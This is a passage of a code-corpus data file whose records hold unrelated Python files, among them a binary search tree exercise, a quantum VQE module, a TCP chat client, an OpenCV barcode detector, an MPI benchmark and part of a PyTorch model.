return self.__attrs.get()\n\n def description(self):\n \"\"\"\n Return the description attribute or an empty string if it is not set.\n \"\"\"\n try:\n return self.__attrs.get_attribute('description')\n except KeyError:\n return ''\n\n def signal_name(self):\n \"\"\"Return the name of the time series data signal.\"\"\"\n return self.name\n\n def system_name(self):\n \"\"\"Return the name of the associated system.\"\"\"\n return self.__node.system\n\n def raster_name(self):\n \"\"\"Return the name of the associated raster.\"\"\"\n return self.__node.name\n\n def basis(self):\n \"\"\"Return the time series data basis as a :class:`Column`.\"\"\"\n return self.__node.basis_column()\n\n def signal(self):\n \"\"\"Return the time series data signal as a :class:`Column`.\"\"\"\n return Column(self.__attrs, self.__data, self.name)\n\n def __repr__(self):\n id_ = hex(id(self))\n return \"<{} object {!r} at {}>\".format(\n self.__class__.__name__, self.name, id_)\n\n def __unicode__(self):\n warn_lines = []\n lines = [u\"{!r}:\".format(self),\n u\" Name: {}\".format(self.name),\n u\" Type: {} ({})\".format(\n get_pretty_type(self.y.dtype), self.y.dtype),\n u\" Raster: {}/{}\".format(\n self.system_name(), self.raster_name()),\n u\" Length: {}\".format(len(self.y))]\n if self.description():\n lines.append(u\" Description: {}\".format(self.description()))\n if self.unit():\n lines.append(u\" Unit: {}\".format(self.unit()))\n try:\n self.t\n except KeyError:\n warn_lines.append(\n u\"Warning: Timeseries comes from a raster with no basis.\")\n else:\n lines.append(u\" t: {}\".format(short_narray(self.t)))\n lines.append(u\" y: {}\".format(short_narray(self.y)))\n return u\"\\n\".join(lines + warn_lines)\n\n\nclass TimeseriesGroup(filebase.PPrintUnicode):\n \"\"\"Container class for :class:`Timeseries` elements.\"\"\"\n def __init__(self, node):\n self.node = node\n\n def keys(self):\n \"\"\"Return the current group keys.\"\"\"\n return [key for system in self.node.values()\n for raster in system.values()\n for key in raster.keys()]\n\n def items(self):\n \"\"\"Return a list of all signal items.\"\"\"\n return [item for system in self.node.values()\n for raster in system.values()\n for item in raster.items()]\n\n def values(self):\n \"\"\"Return a list of all signal items.\"\"\"\n return [value for system in self.node.values()\n for raster in system.values()\n for value in raster.values()]\n\n def hjoin(self, other):\n \"\"\"\n HJoin :class:`TimeseriesGroup` with other :class`TimeseriesGroup`.\n \"\"\"\n sybase.hjoin(self.node, other.node)\n\n def __contains__(self, key):\n return key in self.keys()\n\n def __getitem__(self, key):\n \"\"\"\n Return named :class:`Timeseries`. Consider using :meth:`items` because\n multiple calls of this method will be extremely inefficient.\n\n For multiple lookups, use items() and store the result.\n \"\"\"\n return dict(self.items())[key]\n\n def __repr__(self):\n id_ = hex(id(self))\n return \"<{} object at {}>\".format(self.__class__.__name__, id_)\n\n def __unicode__(self):\n systems = [system for system in self.node.keys()]\n rasters = []\n for system in systems:\n rasters.extend(self.node[system].values())\n ts = []\n for raster in rasters:\n ts.extend(raster.keys())\n\n ts_str = u\":\\n {}\".format(ts) if ts else u\"\"\n\n lines = [\n u\"{!r}:\".format(self),\n u\" {} time series (in {} raster{}){}\".format(\n len(ts), len(rasters), plural(len(rasters)), ts_str)]\n\n lines.extend(sys_warnings(self.node))\n return u\"\\n\".join(lines)\n\n\ndef _create_named_dict_child(parent, key):\n \"\"\"\n Return a named child of a sydict of type {(attr:table, data:type)}\n named childs are encoded with type (attr:table, data:type) and named using\n the attr element name.\n \"\"\"\n record = typefactory.from_type(parent.content_type)\n SAttributes(record.attr).set('name', key)\n parent[key] = record\n return record\n","sub_path":"Sympathy_For_Data/sympathy/typeutils/adaf.py","file_name":"adaf.py","file_ext":"py","file_size_in_byte":56343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"72123253","text":"\"\"\"\nBinary search trees are a data structure that enforce an ordering over \nthe data they store. That ordering in turn makes it a lot more efficient \nat searching for a particular piece of data in the tree. \n\nThis part of the project comprises two days:\n1. Implement the methods `insert`, `contains`, `get_max`, and `for_each`\n on the BSTNode class.\n2. Implement the `in_order_print`, `bft_print`, and `dft_print` methods\n on the BSTNode class.\n\"\"\"\n\n\nclass Stack:\n def __init__(self):\n self.size = 0\n self.storage = []\n\n def __len__(self):\n return len(self.storage)\n\n def push(self, value):\n self.size = self.size + 1\n self.storage.append(value)\n\n def pop(self):\n if self.size == 0:\n return None\n else:\n self.size = self.size - 1\n return self.storage.pop()\n\n\nclass Queue:\n def __init__(self):\n self.size = 0\n self.storage = []\n\n def __len__(self):\n return len(self.storage)\n\n def enqueue(self, value):\n self.size = self.size + 1\n self.storage.insert(0, value)\n\n def dequeue(self):\n if self.size == 0:\n return None\n else:\n self.size = self.size - 1\n return self.storage.pop()\n\n def state_props(self):\n print(self.size, self.storage)\n\n\nclass BSTNode:\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n\n # Insert the given value into the tree\n # This is a recursive\n def insert(self, value):\n if value < self.value: # we insert lesser values on left\n if not self.left:\n # if there is no left child, make it left child\n self.left = BSTNode(value)\n else:\n self.left.insert(value) # else keep looking down left branch\n else:\n if not self.right:\n # if no right child, attach as right child, give that value is eql or greater\n self.right = BSTNode(value)\n else:\n self.right.insert(value) # else keep looking down right branch\n\n # Return True if the tree contains the value\n # False if it does not\n\n def contains(self, target):\n if self.value == target:\n return True\n elif self.value > target:\n if not self.left:\n return False\n return self.left.contains(target)\n else:\n if not self.right:\n return False\n return self.right.contains(target)\n\n # Return the maximum value found in the tree\n\n def get_max(self):\n if not self.right:\n return self.value # simply return the right most value\n else:\n return self.right.get_max()\n\n # Call the function `fn` on the value of each node\n def for_each(self, fn):\n fn(self.value)\n if self.left:\n self.left.for_each(fn)\n if self.right:\n self.right.for_each(fn)\n\n # Part 2 -----------------------\n\n # Print all the values in order from low to high\n # Hint: Use a recursive, depth first traversal\n def in_order_print(self, node):\n if node.left:\n self.in_order_print(node.left)\n print(node.value)\n if node.right:\n self.in_order_print(node.right)\n\n # Print the value of every node, starting with the given node,\n # in an iterative breadth first traversal\n def bft_print(self, node):\n q = Queue()\n q.enqueue(node)\n while q.size > 0: # This works because we will get to q.size 0 when we run out of children\n node = q.dequeue()\n print(node.value)\n if node.left:\n q.enqueue(node.left)\n if node.right:\n q.enqueue(node.right)\n\n # Print the value of every node, starting with the given node,\n # in an iterative depth first traversal\n\n def dft_print(self, node):\n # The reason a stack switches this from breadth to depth, is that we are processing the\n # left child of the very node we just processed before we look at the right child\n s = Stack()\n s.push(node)\n while s.size > 0: \n node = s.pop()\n print(node.value)\n if node.left:\n s.push(node.left)\n if node.right:\n s.push(node.right)\n\n # Stretch Goals -------------------------\n # Note: Research may be required\n\n # Print Pre-order recursive DFT\n\n def pre_order_dft(self, node):\n # The reason this works is that it's recursive and we ask if node is not None.\n # That way, if a node's left or right is None, we simply return and go down the \n # call stack\n if node is not None: \n print(node.value)\n self.pre_order_dft(node.left) \n self.pre_order_dft(node.right) \n\n # Print Post-order recursive DFT\n def post_order_dft(self, node):\n # The reason switching up the order makes a difference, is because we have to be done\n # traversing both left and right subtrees before we print. This forces us to visit the root\n # last, and to print the right child of a subtree first\n if node is not None: \n self.post_order_dft(node.left) \n self.post_order_dft(node.right) \n print(node.value)\n\n\n# bst = BSTNode(1)\n# bst.insert(8)\n# bst.insert(5)\n# bst.insert(7)\n# bst.insert(6)\n# bst.insert(3)\n# bst.insert(4)\n# bst.insert(2)\n\n# # bst.in_order_print(bst)\n# bst.dft_print(bst)\n","sub_path":"binary_search_tree/binary_search_tree.py","file_name":"binary_search_tree.py","file_ext":"py","file_size_in_byte":5571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"522664881","text":"from wordcloud import WordCloud\nimport os\nimport glob\n\nif not os.path.exists(\"ja_wordcloud\"):\n os.makedirs(\"ja_wordcloud\")\n\nfiles = glob.glob(\"./ja_text/*\")\nfpath = '/System/Library/Fonts/ヒラギノ角ゴシック W3.ttc'\nstop_words = ['する','そう','られる','ない','なる','こと','する','いる','てる','よう','くれる','いる','ため','れる','the','lo','It','La','la','Wow','Yo','よう']\nstop_words += ['せる','ゆく','もう','もの','それ','どう','これ']\nstop_words += ['No',]\nstop_words += ['EverybodyWow', 'WowYo']\n\nfor file in files:\n name = os.path.basename(file)[:-7]\n text = open(file, encoding='utf-8').read()\n wordcloud = WordCloud(background_color='white',font_path=fpath, width=800, height=600, stopwords=set(stop_words)).generate(text)\n wordcloud.to_file('./ja_wordcloud/wordcloud_ja_'+name+'_.png')","sub_path":"wordcloud_ja.py","file_name":"wordcloud_ja.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"117762945","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport numexpr as ne\nget_ipython().run_line_magic('run', '../prop/propagators_1d.py')\nimport sys\nsys.path.append(\"/home/sajid/packages/xray-wave-propagators/prop/cython/binaries/\")\nfrom prop1d_cython import exact_prop_cython\n\n\n# In[2]:\n\n\nwavel = 0.5*10**(-6)\npi = np.pi\nz = 100\nN = 1000\nL_in = 5e-1\n\nin_domain_exact = np.linspace(-L_in/2,L_in/2,N)\nin_wave = np.zeros(N)\nin_wave[int(N/2)-int(N/8):int(N/2)+int(N/8)] = 1\n\nsampling = in_domain_exact[1] - in_domain_exact[0]\ncritical = (wavel*z/L_in)\nif sampling>critical:\n print('Use TF')\nelse :\n print('Use IR')\nprint('Fresnel Number :', (L_in**2)/(wavel*z))\n\n\n# In[3]:\n\n\nout_,L_ = propIR(in_wave,L_in/N,L_in,wavel,z)\nout_domain_ = np.linspace(-L_/2,L_/2,N)\n\n\n# In[4]:\n\n\nN = 25000\nin_domain_exact = np.linspace(-L_in/2,L_in/2,N)\nin_wave = np.zeros(N,dtype='complex128')\nin_wave[int(N/2)-int(N/8):int(N/2)+int(N/8)] = 1\nout_wave_exact = np.zeros((N),dtype='complex128')\nout_domain_exact = np.linspace(-L_/2,L_/2,N)\n\nexact_prop_cython(in_wave,out_wave_exact,L_in,L_,wavel,z)\n\n\n# In[5]:\n\n\nf, (ax1,ax2,ax3) = plt.subplots(1,3)\nax1.plot(in_domain_exact,np.abs(in_wave))\nax1.set_xlabel('co-ordinates in m',fontsize = 15)\nax1.set_title('Input', fontsize = 15)\nax2.plot(out_domain_exact,np.abs(out_wave_exact),'b')\nax2.set_xlabel('co-ordinates in m',fontsize = 15)\nax2.set_title('Output Exact', fontsize = 15)\nax3.plot(out_domain_,np.abs(out_),'g')\nax3.set_xlabel('co-ordinates in m',fontsize = 15)\nax3.set_title('Output IR', fontsize = 15)\nf.set_size_inches(20, 10, forward=True)\nf.suptitle('Fresnel Number : '+str((L_in**2)/(wavel*z)),fontsize = 25)\nplt.show()\n\n\n# In[6]:\n\n\nget_ipython().run_line_magic('timeit', 'exact_prop_cython(in_wave,out_wave_exact,L_in,L_,wavel,z)')\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"sajidpropagators/1d_tests/compare_1d_cython.py","file_name":"compare_1d_cython.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"380029095","text":"\"\"\"\nAn interface to the snapshot blocks with some data analysis \nfunctions on the data received\n\"\"\"\n\nimport numpy as np\nimport logging\n\nclass AdcDataWrapper:\n def __init__(self, correlator, zdok_n, fs = 800e6, logger=logging.getLogger(__name__)):\n \"\"\"\n correlator -- instance of directionFinder_backend.correlator.Correlator\n mode -- 'I', 'Q', or 'inter'.\n I: only get the snap from I channel\n Q: only get the snap from Q channel\n IQ: get both I and Q channels\n inter: get an interleaved channel\n \"\"\"\n self.logger = logger\n self.correlator = correlator\n self.zdok_n = zdok_n\n self.fs = float(fs)\n\n def resample(self):\n \"\"\" Updates the samples from the ADC\n \"\"\"\n self.correlator.fetch_time_domain_snapshot(force=True)\n\n def get_offset(self, channel):\n \"\"\" Returns the DC offset of a channel.\n Channel is ('I', 'Q')\n \"\"\"\n chan_idx = ['I', 'Q'].index(channel) + (2*self.zdok_n)\n mean = np.mean(self.correlator.time_domain_signals[chan_idx])\n self.logger.debug(\"Offset for channel {c}: {v}\".format(c = channel, v = mean))\n return mean\n\n def get_power(self, channel):\n chan_idx = ['I', 'Q'].index(channel) + (2*self.zdok_n)\n signal = self.correlator.time_domain_signals[chan_idx]\n energy = np.sum(np.square(signal))\n power = energy / len(signal)\n self.logger.debug(\"Power for channel {c}: {v}\".format(c = channel, v = power))\n return power\n\n def get_phase_difference(self):\n \"\"\" Retuns phase difference between strongest signal\n Does phase(I) - phase(Q)\n If the phase is positive, it means that I comes before Q. I leads. \n If the phase is negative, it means Q comes before I. \n \"\"\"\n chan_a_idx = 0 + (2 * self.zdok_n) \n chan_b_idx = 1 + (2 * self.zdok_n)\n chan_a_sub_arrays = np.split(\n self.correlator.time_domain_signals[chan_a_idx], \n len(self.correlator.time_domain_signals[chan_a_idx])/2**11)\n chan_b_sub_arrays = np.split(\n self.correlator.time_domain_signals[chan_b_idx],\n len(self.correlator.time_domain_signals[chan_b_idx])/2**11)\n cross_acc = np.ndarray((2**11/2) + 1, dtype=np.complex128)\n for sub_idx in range(len(chan_a_sub_arrays)):\n fft_a = np.fft.rfft(chan_a_sub_arrays[sub_idx])\n fft_b = np.fft.rfft(chan_b_sub_arrays[sub_idx])\n cross = fft_a * np.conj(fft_b)\n cross_acc += cross\n max_idx = np.argmax(np.abs(cross_acc))\n max_freq = self.fs/2 * (max_idx / float(len(cross_acc)))\n max_phase = np.angle(cross_acc[max_idx])\n self.logger.debug(\"Between I and Q, max freq: {f} with phase difference: {ph}\".format(\n f = max_freq/1e6, ph = max_phase))\n return max_phase\n","sub_path":"adc_data_wrapper.py","file_name":"adc_data_wrapper.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"586109052","text":"\"\"\"\nTest file for experimentation. Not to be used in production\n\"\"\"\n\nimport boto\nimport os\n\nfrom boto.s3.key import Key\nfrom scanner import Scanner\n\ns3 = boto.connect_s3()\n\nprod_bucket = s3.get_bucket('dray-assets-prod')\nload_files = list(prod_bucket.list(prefix=\"media/loads\"))\ndocument_files = [f for f in load_files if \"load_action_approvals\" not in f.name]\n\nfor f in document_files:\n # Check for existing scanned version\n filename, file_extension = os.path.splitext(f.key)\n result_keyname = filename + \"-scanned\" + file_extension\n possible_key = prod_bucket.get_key(result_keyname)\n if possible_key is not None or \"-scanned\" in f.key:\n # Scanned file already exists, move on\n continue\n\n # Read image and scan\n image = prod_bucket.get_key(f.key)\n image.get_contents_to_filename('tmp/tmp-src.png')\n result_filename = Scanner.scan('tmp/tmp-src.png')\n\n # Create new key for result file\n k = Key(prod_bucket)\n k.key = result_keyname\n k.set_contents_from_filename(result_filename)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"619351704","text":"import sys\ndef getNumber():\n err=''\n S = input().strip()\n\n try:\n number = int(S)\n\n except ValueError:\n err = 'Numbers only please'\n\n except IOError:\n err = 'An error occurred trying to read the file.'\n\n except ImportError:\n err = \"NO module found\"\n\n except EOFError:\n err = 'EOF found'\n\n except KeyboardInterrupt:\n err = 'key board inturrupt'\n\n # catch all exceptions\n except:\n err = 'An error occurred.'\n\n finally: # Optional\n if bool(err):\n print(err) # Clean up\n return -1\n return number","sub_path":"exception/exception.py","file_name":"exception.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"167809770","text":"from collections import Counter\nimport itertools\nimport random\n\nimport numpy as np\nfrom scipy.optimize import minimize as scipy_minimizer\nfrom .circuit import Circuit\n\nclass AnsatzBase:\n def __init__(self, hamiltonian, n_params):\n self.hamiltonian = hamiltonian\n self.n_params = n_params\n self.n_qubits = self.hamiltonian.max_n() + 1\n\n def get_circuit(self, params):\n raise NotImplementedError\n\n def get_objective(self, sampler):\n def objective(params):\n circuit = self.get_circuit(params)\n circuit.run()\n val = 0.0\n for meas in self.hamiltonian:\n c = circuit.copy(copy_cache=True, copy_history=False)\n for op in meas.ops:\n if op.op == \"X\":\n c.h[op.n]\n elif op.op == \"Y\":\n c.rx(-np.pi / 2)[op.n]\n measured = sampler(c, meas.n_iter())\n for bits, prob in measured.items():\n if sum(bits) % 2:\n val -= prob * meas.coeff\n else:\n val += prob * meas.coeff\n return val.real\n return objective\n\nclass QaoaAnsatz(AnsatzBase):\n def __init__(self, hamiltonian, step=1, init_circuit=None):\n super().__init__(hamiltonian, step * 2)\n self.hamiltonian = hamiltonian.to_expr().simplify()\n if not self.check_hamiltonian():\n raise ValueError(\"Hamiltonian terms are not commutable\")\n\n self.step = step\n self.n_qubits = self.hamiltonian.max_n() + 1\n if init_circuit:\n self.init_circuit = init_circuit\n if init_circuit.n_qubits > self.n_qubits:\n self.n_qubits = init_circuit.n_qubits\n else:\n self.init_circuit = Circuit(self.n_qubits).h[:]\n self.init_circuit.run() # To make a cache.\n self.time_evolutions = [term.get_time_evolution() for term in self.hamiltonian]\n\n def check_hamiltonian(self):\n return self.hamiltonian.is_all_terms_commutable()\n\n def get_circuit(self, params):\n c = self.init_circuit.copy()\n betas = params[:self.step]\n gammas = params[self.step:]\n for beta, gamma in zip(betas, gammas):\n beta *= np.pi\n gamma *= 2 * np.pi\n for evo in self.time_evolutions:\n evo(c, gamma)\n c.rx(beta)[:]\n return c\n\nclass VqeResult:\n def __init__(self, params=None, circuit=None, probs=None):\n self.params = params\n self.circuit = circuit\n self.probs = probs\n\n def __repr__(self):\n return \"VqeResult\" + repr((self.params, self.circuit, self.probs))\n\n def most_common(self, n=1):\n return tuple(sorted(self.probs.items(), key=lambda item: -item[1]))[:n]\n\nclass Vqe:\n def __init__(self, ansatz, minimizer=None, sampler=None):\n self.ansatz = ansatz\n self.minimizer = minimizer or get_scipy_minimizer(\n method=\"Powell\",\n options={\"ftol\": 5.0e-2, \"xtol\": 5.0e-2, \"maxiter\": 1000}\n )\n self.sampler = sampler or non_sampling_sampler\n self.result = VqeResult()\n\n def run(self, verbose=False):\n objective = self.ansatz.get_objective(self.sampler)\n n_qubits = self.ansatz.n_qubits\n if verbose:\n def verbose_objective(objective):\n def f(params):\n val = objective(params)\n print(\"params:\", params, \"val:\", val)\n return val\n return f\n objective = verbose_objective(objective)\n params = self.minimizer(objective, self.ansatz.n_params)\n c = self.ansatz.get_circuit(params)\n self.result.params = params\n self.result.probs = self.sampler(c, range(n_qubits))\n self.result.circuit = c\n return self.result\n\ndef get_scipy_minimizer(**kwargs):\n \"\"\"Get minimizer which uses `scipy.optimize.minimize`\"\"\"\n def minimizer(objective, n_params):\n params = [random.random() for _ in range(n_params)]\n result = scipy_minimizer(objective, params, **kwargs)\n return result.x\n return minimizer\n\ndef expect(qubits, meas):\n \"For the VQE simulation without sampling.\"\n d = {\"\": (qubits, 1.0)}\n result = {}\n i = np.arange(len(qubits))\n meas = tuple(meas)\n\n def get(bits):\n if bits in d:\n return d[bits]\n n = len(bits)\n m = meas[n - 1]\n qb, p = get(bits[:-1])\n if p == 0.0:\n d[bits[:-1] + \"0\"] = qb, 0.0\n d[bits[:-1] + \"1\"] = qb, 0.0\n return d[bits]\n\n p_zero = (qb[(i & (1 << m)) == 0].T.conjugate() @ qb[(i & (1 << m)) == 0]).real\n\n if p_zero > 0.0000001:\n factor = 1.0 / np.sqrt(p_zero)\n qb_zero = qb.copy()\n qb_zero[(i & (1 << m)) != 0] = 0.0\n qb_zero *= factor\n d[bits[:-1] + \"0\"] = qb_zero, p * p_zero\n else:\n d[bits[:-1] + \"0\"] = qb, 0.0\n\n if 1.0 - p_zero > 0.0000001:\n factor = 1.0 / np.sqrt(1.0 - p_zero)\n qb_one = qb.copy()\n qb_one[(i & (1 << m)) == 0] = 0.0\n qb_one *= factor\n d[bits[:-1] + \"1\"] = qb_one, p * (1.0 - p_zero)\n else:\n d[bits[:-1] + \"1\"] = qb, 0.0\n return d[bits]\n\n for m in itertools.product(\"01\", repeat=len(meas)):\n m = \"\".join(m)\n v = get(m)\n if v[1]:\n result[m] = v[1]\n return {tuple(map(int, k)): v for k, v in result.items()}\n\ndef non_sampling_sampler(circuit, meas):\n \"\"\"Calculate the expectations without sampling.\"\"\"\n meas = tuple(meas)\n if len(meas) == circuit.n_qubits and meas == tuple(range(circuit.n_qubits)):\n qubits = circuit.run()\n probs = (qubits.conjugate() * qubits).real\n return {tuple(map(int, prod[::-1])): val \\\n for prod, val in zip(itertools.product(\"01\", repeat=circuit.n_qubits), probs) if val}\n return expect(circuit.run(), meas)\n\ndef get_measurement_sampler(n_sample):\n \"\"\"Returns a function which get the expectations by sampling the measured circuit\"\"\"\n def sampling_by_measurement(circuit, meas):\n meas = tuple(meas)\n circuit.measure[meas]\n for _ in range(n_sample):\n circuit.run()\n counter = Counter(tuple(reg[m] for m in meas) for reg in circuit.run_history)\n return {k: v / n_sample for k, v in counter.items()}\n return sampling_by_measurement\n\ndef get_state_vector_sampler(n_sample):\n \"\"\"Returns a function which get the expectations by sampling the state vector\"\"\"\n def sampling_by_measurement(circuit, meas):\n val = 0.0\n e = expect(circuit.run(), meas)\n bits, probs = zip(*e.items())\n dists = np.random.multinomial(n_sample, probs) / n_sample\n return dict(zip(tuple(bits), dists))\n return sampling_by_measurement\n\ndef get_qiskit_sampler(backend, **execute_kwargs):\n \"\"\"Returns a function which get the expectation by sampling via Qiskit.\n\n This function requires `qiskit` module.\n \"\"\"\n try:\n import qiskit\n except ImportError:\n raise ImportError(\"blueqat.vqe.get_qiskit_sampler() requires qiskit. Please install before call this function.\")\n try:\n shots = execute_kwargs['shots']\n except KeyError:\n execute_kwargs['shots'] = shots = 1024\n\n def reduce_bits(bits, meas):\n bits = [int(x) for x in bits[::-1]]\n return tuple(bits[m] for m in meas)\n\n def sampling(circuit, meas):\n meas = tuple(meas)\n circuit.measure[meas]\n qasm = circuit.to_qasm()\n qk_circuit = qiskit.load_qasm_string(qasm)\n result = qiskit.execute(qk_circuit, backend, **execute_kwargs).result()\n counts = Counter({reduce_bits(bits, meas): val for bits, val in result.get_counts().items()})\n return {k: v / shots for k, v in counts.items()}\n\n return sampling\n","sub_path":"blueqat/vqe.py","file_name":"vqe.py","file_ext":"py","file_size_in_byte":7977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"456516478","text":"import socket\nimport sys\n\n#create TCP socket sock_stream designates it as a a TCP socket as opposed to UDP\ntry:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nexcept (socket.error):\n print(\"An error occurred when creating the socket\")\n print(\"Error code\", str(socket.error))\n\n sys.exit(0)\n\nprint(\"Socket created\")\n\nhost = \"SocketServer\"\nport = 7891\n\n\nremote_ip = \"157.230.131.10\"\n\n\nprint(\"Ip address of host\", host, \" is: \", remote_ip)\n\ns.connect((remote_ip, port))\n\nprint(\"Socket connected to \", host, \" with port \", port, \" on IP address: \" , remote_ip)\n\nwalkieTalkie = True\n\nwhile walkieTalkie:\n message = input((print(\"Enter a message for the server breaks will be determined by | : \")))\n\n try:\n s.sendall(message.encode())\n #s.sendall(new_message.encode())#\"was expecting bytes, got str instead\" found .encode() on https://stackoverflow.com/questions/40139775/python-3-socket-programming-using-sendall-vs-sendto?noredirect=1\n except:\n print(\"Sending the message failed\")\n\n if message == \"stop\":\n walkieTalkie = False\n print(\"We sent some info to the page\")\n rec = s.recv(1024)\n new_rec = s.recv(1024)\n\n print(rec.decode())\n print(new_rec.decode())\n\ns.close()\nprint(\"Socket closed\")","sub_path":"Client4.py","file_name":"Client4.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"97296763","text":"import cv2 as cv2\nimport numpy as np\nimport imutils\nimg = cv2.imread('./hell2.jpg')\n\nif img is not None:\n print('Original Dimensions : ',img.shape)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n ddepth = cv2.cv.CV_32F if imutils.is_cv2() else cv2.CV_32F\n gradX = cv2.Sobel(gray, ddepth=ddepth, dx=1, dy=0, ksize=-1)\n gradY = cv2.Sobel(gray, ddepth=ddepth, dx=0, dy=1, ksize=-1)\n #cv2.imshow(\"asd\",cv2.resize(cv2.subtract(gradY,gradX),(1000,1000)))\n gradient = cv2.subtract(gradY, gradX)\n #gradient = cv2.add(gradY, gradX)\n gradient = cv2.convertScaleAbs(gradY)\n cv2.imshow(\"asd\",cv2.resize(gradient,(1000,1000)))\n\n print('Resized Dimensions : ',gradient.shape)\n blurred = cv2.blur(gradient, (3, 3))\n (_, thresh) = cv2.threshold(blurred, 225, 255, cv2.THRESH_BINARY)\n kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (15, 15))\n closed = cv2.morphologyEx(thresh, cv2.MORPH_CLOSE, kernel)\n closed = cv2.erode(closed, None, iterations = 4)\n closed = cv2.dilate(closed, None, iterations = 4)\n\n cnts = cv2.findContours(closed.copy(), cv2.RETR_EXTERNAL,\n cv2.CHAIN_APPROX_SIMPLE)\n cnts = imutils.grab_contours(cnts)\n c = sorted(cnts, key = cv2.contourArea, reverse = True)[0]\n # compute the rotated bounding box of the largest contour\n rect = cv2.minAreaRect(c)\n box = cv2.cv.BoxPoints(rect) if imutils.is_cv2() else cv2.boxPoints(rect)\n box = np.int0(box)\n\n cv2.drawContours(img, [box], -1, (0, 255, 255), 3)\n scale_percent = 50 # percent of original size\n width = int(img.shape[1] * scale_percent / 100)\n height = int(img.shape[0] * scale_percent / 100)\n dim = (width, height)\n \n # resize image\n resized = cv2.resize(img, dim, interpolation = cv2.INTER_AREA)\n resized2 = cv2.resize(closed, dim, interpolation = cv2.INTER_AREA)\n cv2.imshow(\"filtered image1\", resized)\n cv2.imshow(\"filtered image2\", resized2)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n","sub_path":"수정중/jarcode_black_copy.py","file_name":"jarcode_black_copy.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"312466283","text":"import time\nimport numpy as np\nfrom mpi4py import MPI\n\nfrom .benchmarks import Benchmarks\n\n\nclass MPI_Broadcast(Benchmarks):\n\n def __init__(self, name, params, num_threads, comm):\n\n if comm is None:\n raise ValueError('No valid MPI communicator given')\n\n super(MPI_Broadcast, self).__init__(name=name, params=params, num_threads=num_threads, comm=comm)\n\n if comm.Get_rank() == 0:\n self.A = np.arange(self.params.n, dtype=self.params.dtype) # rank 0 has proper data\n else:\n self.A = np.empty(self.params.n, dtype=self.params.dtype) # all other just an empty array\n\n if self.params.dtype == 'float64':\n self.mpi_dtype = MPI.DOUBLE\n else:\n raise NotImplementedError()\n\n def reset(self):\n self.comm.Barrier()\n\n def run(self):\n\n t0 = time.time()\n self.comm.Bcast([self.A, self.mpi_dtype])\n t1 = time.time()\n\n return t1 - t0\n\n","sub_path":"benchmarks/mpi_broadcast.py","file_name":"mpi_broadcast.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"405073780","text":"import math\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass BasicConv2d(nn.Module):\n\n\tdef __init__(self, in_planes, out_planes, kernel_size, stride, dilation=1, padding=0):\n\t\tsuper(BasicConv2d, self).__init__()\n\t\tself.conv = nn.Conv2d(in_planes, out_planes,kernel_size=kernel_size, stride=stride, dilation=dilation,padding=padding)\n\t\tself.relu = nn.ReLU(inplace=False)\n\n\tdef forward(self, x):\n\t\tx = self.conv(x)\n\t\tx = self.relu(x)\n\t\treturn x\n\n\nclass idxLayer(torch.nn.Module):\n\tdef __init__(self):\n\t\tsuper(idxLayer, self).__init__()\n\n\tdef forward(self, x):\n\t\tnum, c, h, w = x.size()\n\t\tcell=h/12\n\t\tfor i in range(12):\n\t\t\tk=int(i*cell)\n\t\t\tt=x[:,:,k,:]\n\t\t\tif i==0:\n\t\t\t\ttensor=t\n\t\t\telse:\n\t\t\t\ttensor=torch.cat((tensor,t),2)\n\t\treturn tensor\n\nclass Context(nn.Module):\n\tdef __init__(self):\n\t\tsuper(Context, self).__init__()\n\t\tself.con1=BasicConv2d(21, 2048, [3,1],1,padding=[1,0])\n\t\tself.con2=BasicConv2d(2048,1024, [3,1],1,padding=[1,0])\n\t\tself.con3=BasicConv2d(1024, 512, [3,1],1,padding=[1,0])\n\t\tself.con4=BasicConv2d(512, 256, [3,1],1,padding=[1,0])\n\t\tself.con5=BasicConv2d(256, 128, [3,1],1,dilation=2,padding=[2,0])\n\t\tself.con6=BasicConv2d(128, 64, [3,1],1,dilation=4,padding=[4,0])\n\t\tself.con7=BasicConv2d(64, 32, [3,1],1,dilation=8,padding=[8,0])\n\t\tself.con8=BasicConv2d(32, 16, [3,1],1,dilation=16,padding=[16,0])\n\t\tself.con10=BasicConv2d(4080,640, [3,1],1,padding=[1,0])\n\t\tself.con11=BasicConv2d( 640, 8, [3,1],1,padding=[1,0])\n\t\tself.con12=BasicConv2d( 8, 8, [3,1],1,padding=[1,0])\n\t\tself.con13=BasicConv2d( 8, 8, [3,1],1,padding=[1,0])\n\t\tself.con14=BasicConv2d( 8, 8, [3,1],1,padding=[1,0])\n\t\tself.con16=BasicConv2d( 32, 32, [3,1],1,padding=[1,0])\n\t\tself.con18=BasicConv2d(693, 320, 